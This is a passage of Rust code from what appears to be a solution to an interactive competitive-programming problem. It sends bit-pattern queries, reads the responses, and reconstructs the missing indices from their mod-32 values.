test_case[j] = ((j % 32) >> i) & 1; } for j in 0..n { print!("{}", test_case[j]); } println!(); std::io::stdout().flush().unwrap(); input! { next = next, res: chars, } assert_eq!(res.len(), n - b); for j in 0..n - b { if res[j] == '1' { acc[j] |= 1 << i; } } } let mut ans = vec![]; let mut cur = 0; for i in 0..n - b { while cur % 32 != acc[i] { ans.push(cur); cur += 1; } cur += 1; } while cur < n { ans.push(cur); cur += 1; } for i in 0..ans.len() { if i != 0 { print!(" "); } print!("{}", ans[i]); } println!(); std::io::stdout().flush().unwrap(); input! { next = next, verdict: i32, } assert_eq!(verdict, 1); } }